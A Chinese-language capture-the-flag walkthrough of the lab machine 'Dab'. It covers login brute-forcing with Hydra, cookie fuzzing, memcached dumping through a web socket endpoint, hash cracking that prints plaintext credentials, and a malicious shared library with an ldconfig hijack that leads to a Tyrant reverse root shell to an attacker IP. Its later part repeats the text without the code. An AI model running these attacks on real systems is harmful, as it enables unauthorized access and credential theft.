[Meachines] [Hard] Dab Enumerate+memcached+ldconfig-Lib-Hijack特權升級+Tyrant
字数 1149 2025-08-22 12:23:06

Memcached 枚举与 LDconfig 库劫持特权升级攻击教学文档

1. 信息收集阶段

1.1 目标扫描

目标IP: 10.10.10.86

开放端口:

  • 21/tcp - FTP (vsftpd 3.0.3)
  • 22/tcp - SSH (OpenSSH 7.2p2 Ubuntu)
  • 80/tcp - HTTP (nginx 1.10.3)
  • 8080/tcp - HTTP (nginx 1.10.3)

扫描命令:

ip='10.10.10.86'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.2 FTP 枚举

匿名FTP登录可用:

ftp 10.10.10.86

发现文件: dab.jpg

1.3 Web 应用枚举

登录页面: http://dab.htb/login

登录表单:

username=admin&password=admin&submit=Login

使用Hydra进行用户名枚举:

hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -p 123456 10.10.10.86 http-post-form "/login:username=^USER^&password=^PASS^&submit=Login:failed.<"

密码爆破:

hydra -L /tmp/users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=^USER^&password=^PASS^&submit=Login:failed"

成功凭证:

username: admin
password: Password1

1.4 Cookie 枚举

使用wfuzz枚举Cookie参数:

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ=1234" --hh 322 http://dab.htb:8080

发现有效Cookie:

wfuzz -c -w /usr/share/wordlists/rockyou.txt -H "Cookie: password=FUZZ" --hh 324 http://dab.htb:8080

有效Cookie值: password=secret

2. Memcached 枚举与利用

2.1 Memcached 交互脚本

#!/bin/bash
URL="http://10.10.10.86:8080/socket"
PORT=11211
COOKIE="password=secret"

while true; do
    read -p "memcached $ " CMD
    if [[ -z "$CMD" ]]; then
        echo "Empty command, exiting."
        break
    fi
    RESPONSE=$(curl -s "$URL?port=$PORT&cmd=$(printf %s "$CMD" | jq -s -R -r @uri)" -H "Cookie: $COOKIE")
    OUTPUT=$(echo "$RESPONSE" | sed -n '/<pre>/,/<\/pre>/p' | sed '1d;$d')
    echo "Server-echo $OUTPUT"
done

2.2 Memcached 基本命令

检查版本:

memcached $ version
VERSION 1.4.25 Ubuntu

列出统计信息:

memcached $ stats items

获取缓存数据:

memcached $ stats cachedump 16 0
ITEM stock [2807 b; 1747662955 s]

memcached $ stats cachedump 26 0
ITEM users [24625 b; 1747664979 s]

获取用户数据:

memcached $ get users

2.3 处理获取的用户数据

将获取的JSON数据转换为可破解格式:

cat exp.json2 | jq -r "to_entries | .[].value" > hashes

使用hashcat破解哈希:

hashcat hashes --wordlist rockyou.txt --force -m 0

关联用户名和密码:

jq -r 'to_entries[] | "\(.key):\(.value)"' exp.json2 | while IFS=: read user hash; do
    pass=$(grep -i "^$hash:" hashes.txt | cut -d: -f2)
    [ -n "$pass" ] && echo "$user: $pass"
done

获取的有效凭证:

aglae:blaster
alecona:misfits
wendell:monkeyman
admin:Password1
demogene:vieve
abbigail:Princess1
rick:piggylove
default:sucks1
d_murphy:hacktheplanet
irma:strength

2.4 SSH登录尝试

使用获取的凭证尝试SSH登录:

hydra -L Users.txt -P Pass.txt ssh://10.10.10.86

成功登录:

ssh genevieve@10.10.10.86
密码: s3cur3l0g1n

获取user flag:

f74c94747225cebf151f6db052841099

3. 特权升级: LDconfig 库劫持 + Tyrant

3.1 分析目标二进制文件

复制目标二进制文件到本地分析:

scp genevieve@10.10.10.86:/usr/bin/myexec /tmp/myexec

使用GDB分析:

gdb -q ./myexec

检查依赖库:

ldd /usr/bin/myexec

3.2 分析libseclogin.so

复制库文件到本地:

scp genevieve@10.10.10.86:/usr/lib/libseclogin.so /tmp/libseclogin.so

3.3 创建恶意库

exp.c内容:

#include <stdio.h>
void seclogin() {
    setuid(0);
    setgid(0);
    execl("/home/genevieve/tyrant", "", NULL);
}

编译为共享库:

gcc -shared -fPIC /dev/shm/exp.c -o /dev/shm/libseclogin.so

3.4 使用Tyrant工具

从GitHub获取Tyrant:

https://github.com/MartinxMax/Tyrant

上传到目标:

scp ./tyrant genevieve@10.10.10.86:/home/genevieve/tyrant

设置权限:

chmod +x /home/genevieve/tyrant

3.5 配置LD_LIBRARY_PATH

创建配置文件:

echo "/dev/shm" > /dev/shm/exp.conf

更新库路径:

ldconfig -f /dev/shm/exp.conf

验证库路径:

ldd /usr/bin/myexec

3.6 执行特权升级

执行目标二进制:

/usr/bin/myexec

运行Tyrant获取root shell:

./tyrant -uid 0 -rhost 10.10.16.26 -rport 443

获取root flag:

440ef65a3aa216209f2698f317bfd0c4

4. 关键点总结

  1. 信息收集:

    • 全面扫描目标开放端口和服务
    • 注意匿名FTP访问
    • 仔细分析Web应用功能点
  2. 凭证枚举:

    • 使用Hydra和wfuzz进行有效枚举
    • 注意细微的响应差异
    • 利用Memcached暴露的敏感信息
  3. 特权升级:

    • 识别SUID/SGID二进制文件
    • 分析动态链接库依赖
    • 利用ldconfig进行库劫持
    • 使用Tyrant工具稳定获取root权限
  4. 规避限制:

    • 注意/tmp目录可能被清空
    • 使用/dev/shm作为替代
    • 检查挂载选项(noexec/nosuid)

通过以上步骤,可以系统地完成从信息收集到特权升级的完整攻击链。

Memcached 枚举与 LDconfig 库劫持特权升级攻击教学文档 1. 信息收集阶段 1.1 目标扫描 目标IP: 10.10.10.86 开放端口: 21/tcp - FTP (vsftpd 3.0.3) 22/tcp - SSH (OpenSSH 7.2p2 Ubuntu) 80/tcp - HTTP (nginx 1.10.3) 8080/tcp - HTTP (nginx 1.10.3) 扫描命令: 1.2 FTP 枚举 匿名FTP登录可用: 发现文件: dab.jpg 1.3 Web 应用枚举 登录页面: http://dab.htb/login 登录表单: 使用Hydra进行用户名枚举: 密码爆破: 成功凭证: 1.4 Cookie 枚举 使用wfuzz枚举Cookie参数: 发现有效Cookie: 有效Cookie值: password=secret 2. Memcached 枚举与利用 2.1 Memcached 交互脚本 2.2 Memcached 基本命令 检查版本: 列出统计信息: 获取缓存数据: 获取用户数据: 2.3 处理获取的用户数据 将获取的JSON数据转换为可破解格式: 使用hashcat破解哈希: 关联用户名和密码: 获取的有效凭证: 2.4 SSH登录尝试 使用获取的凭证尝试SSH登录: 成功登录: 获取user flag: 3. 特权升级: LDconfig 库劫持 + Tyrant 3.1 分析目标二进制文件 复制目标二进制文件到本地分析: 使用GDB分析: 检查依赖库: 3.2 分析libseclogin.so 复制库文件到本地: 3.3 创建恶意库 exp.c内容: 编译为共享库: 3.4 使用Tyrant工具 从GitHub获取Tyrant: 上传到目标: 设置权限: 3.5 配置LD_ LIBRARY_ PATH 创建配置文件: 更新库路径: 验证库路径: 3.6 执行特权升级 执行目标二进制: 运行Tyrant获取root shell: 获取root flag: 4. 关键点总结 信息收集 : 全面扫描目标开放端口和服务 注意匿名FTP访问 仔细分析Web应用功能点 凭证枚举 : 使用Hydra和wfuzz进行有效枚举 注意细微的响应差异 利用Memcached暴露的敏感信息 特权升级 : 识别SUID/SGID二进制文件 分析动态链接库依赖 利用ldconfig进行库劫持 使用Tyrant工具稳定获取root权限 规避限制 : 注意/tmp目录可能被清空 使用/dev/shm作为替代 检查挂载选项(noexec/nosuid) 通过以上步骤,可以系统地完成从信息收集到特权升级的完整攻击链。